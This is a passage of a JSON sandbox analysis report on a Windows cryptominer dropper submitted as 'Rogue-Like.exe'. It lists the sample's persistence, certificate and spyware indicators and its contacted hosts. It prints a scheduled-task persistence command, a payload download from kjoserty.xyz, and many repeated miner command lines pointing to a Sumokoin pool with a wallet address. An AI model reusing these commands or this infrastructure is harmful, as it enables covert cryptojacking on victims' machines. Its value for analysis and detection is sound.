\"775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a.exe.bin\" (Offset: 192915)","origin":"Binary File","relevance":5,"id":"binary-8","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":5,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/68 Antivirus vendors marked sample as malicious (4% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"5/66 Antivirus vendors marked dropped file \"Host.exe\" as malicious (classified as \"Malpacked3.Gen\" with 7% detection rate)\n 11/68 Antivirus vendors marked dropped file \"MicrosoftShellHost.exe\" as malicious (classified as \"HEUR:RiskTool.BitMiner\" with 16% detection rate)\n 7/68 Antivirus vendors marked dropped file \"ShellExperienceHost.exe\" as malicious (classified as \"Malpacked3.Gen\" with 10% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"$30","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"Installation/Persistance","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at FA9B0000","origin":"Loaded Module","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"Installation/Persistance","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"SchTasks /create /SC MINUTE /TN MicrosoftServis /TR %TEMP%\\Host.exe /MO 30\" (UID: 00013102-00000388)","origin":"Monitored Target","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\schtasks.exe\" (Handle: 84)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\schtasks.exe\" (Handle: 84)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\System32\\schtasks.exe\" (Handle: 84)\n \"Host.exe\" wrote 32 bytes to a remote process \"%ALLUSERSPROFILE%\\System32\\Logs\\ShellExperienceHost.exe\" (Handle: 148)\n \"Host.exe\" wrote 52 bytes to a remote process \"%ALLUSERSPROFILE%\\System32\\Logs\\ShellExperienceHost.exe\" (Handle: 148)\n \"Host.exe\" wrote 8 bytes to a remote process \"%ALLUSERSPROFILE%\\System32\\Logs\\ShellExperienceHost.exe\" (Handle: 148)\n \"cmd.exe\" wrote 32 bytes to a remote process \"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe\" (Handle: 84)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe\" (Handle: 84)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe\" (Handle: 84)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$31","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"System Security","name":"Modifies System Certificates Settings","description":"\"Host.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0\")\n \"Host.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0\"; Key: \"BLOB\")\n \"Host.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"339CDD57CFD5B141169B615FF31428782D1DA639\")\n \"Host.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\339CDD57CFD5B141169B615FF31428782D1DA639\"; Key: \"BLOB\")","origin":"Registry Access","relevance":8,"id":"registry-38","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-2063-3F0F1F66\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-2101-3F0F30FC\n NtdllDefWindowProc_W@NTDLL.DLL at 00010551-00003060-8095-2529-3F10A4F3\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-4588-3F195F99\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-4602-3F1973B8\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-4586-3F195BA2\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-4601-3F1972C4\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-4577-3F19577D\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-4594-3F196898\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-4591-3F196657\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-4603-3F197740\n NtdllDialogWndProc_W@NTDLL.DLL at 00010551-00003060-8095-5866-3F196678","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$32","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Spyware","details_count":2,"details":[{"detail":"Contains ability to open the clipboard"},{"detail":"Contains ability to retrieve keyboard strokes"}],"sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Modifies System Certificates Settings"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}]},"activity":{"stats":{"process_count":47,"spawned_processes_count":47,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":7,"imported_dlls_count":106,"dropped_files_count":0,"extracted_files_count":10,"files_written_count":54,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["miner"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"5a5a687a7ca3e1515f50aa8e","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Win64:Malware","contacted_countries":["DEU"],"submit_name":"Rogue-Like.exe","analysis_start_time":"2018-01-13T21:14:34+00:00","indicators_count":{"informative":29,"suspicious":44,"malicious":16},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.224.137.25","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"address":"88.99.66.31","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}],"dns_resolutions":[{"domain":"kjoserty.xyz","address":"185.224.137.25","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"domain":"iplogger.com","address":"88.99.66.31","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}],"http_requests":[{"host":"kjoserty.xyz","host_ip":"185.224.137.25:80","url":"/wp-content/uploads/Host.txt","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /wp-content/uploads/Host.txt HTTP/1.1\nUser-Agent: AutoIt\nHost: kjoserty.xyz\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}],"processes":[{"pid":3060,"ppid":0,"name":"775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a.exe","command_line":"","sha256":"775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a","normalized_path":"C:\\775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a.exe","uid":"00010551-00003060","icon":"$33"},{"pid":1332,"ppid":3060,"name":"cmd.exe","command_line":"/c SchTasks /create /SC MINUTE /TN MicrosoftServis /TR %TEMP%\\Host.exe /MO 30","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00010551-00003060","uid":"00013095-00001332"},{"pid":388,"ppid":1332,"name":"schtasks.exe","command_line":"SchTasks /create /SC MINUTE /TN MicrosoftServis /TR %TEMP%\\Host.exe /MO 30","sha256":"6dce7d58ebb0d705fcb4179349c441b45e160c94e43934c5ed8fa1964e2cd031","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00013095-00001332","uid":"00013102-00000388"},{"pid":2908,"ppid":0,"name":"Host.exe","command_line":"","sha256":"a986af3a3315acf34629729d706242de0299774fcc4041a36c0036a3fc2a4d95","normalized_path":"%TEMP%\\Host.exe","uid":"00013107-00002908","icon":"$34"},{"pid":2464,"ppid":2908,"name":"ShellExperienceHost.exe","command_line":"","sha256":"84b2da89e397a1a05dd907894064041af7650c79f9a1c95cb75b198042e6add2","normalized_path":"%ALLUSERSPROFILE%\\System32\\Logs\\ShellExperienceHost.exe","parent_uid":"00013107-00002908","uid":"00013426-00002464"},{"pid":660,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00013847-00000660"},{"pid":1356,"ppid":660,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00013847-00000660","uid":"00013864-00001356"},{"pid":2224,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00014450-00002224"},{"pid":2184,"ppid":2224,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00014450-00002224","uid":"00014474-00002184"},{"pid":2636,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00015038-00002636"},{"pid":2064,"ppid":2636,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00015038-00002636","uid":"00015043-00002064"},{"pid":788,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00015626-00000788"},{"pid":2552,"ppid":788,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00015626-00000788","uid":"00015631-00002552"},{"pid":2036,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00016214-00002036"},{"pid":476,"ppid":2036,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00016214-00002036","uid":"00016220-00000476"},{"pid":812,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00016803-00000812"},{"pid":2852,"ppid":812,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00016803-00000812","uid":"00016809-00002852"},{"pid":1860,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00017391-00001860"},{"pid":2668,"ppid":1860,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00017391-00001860","uid":"00017397-00002668"},{"pid":1392,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00017980-00001392"},{"pid":2536,"ppid":1392,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00017980-00001392","uid":"00017985-00002536"},{"pid":3036,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00018568-00003036"},{"pid":2400,"ppid":3036,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00018568-00003036","uid":"00018573-00002400"},{"pid":2436,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00019156-00002436"},{"pid":2984,"ppid":2436,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00019156-00002436","uid":"00019162-00002984"},{"pid":3056,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00019745-00003056"},{"pid":2800,"ppid":3056,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00019745-00003056","uid":"00019750-00002800"},{"pid":1360,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00020333-00001360"},{"pid":2696,"ppid":1360,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00020333-00001360","uid":"00020339-00002696"},{"pid":2468,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00020927-00002468"},{"pid":2096,"ppid":2468,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00020927-00002468","uid":"00020933-00002096"},{"pid":2428,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00021516-00002428"},{"pid":1380,"ppid":2428,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00021516-00002428","uid":"00021521-00001380"},{"pid":860,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00022104-00000860"},{"pid":268,"ppid":860,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u 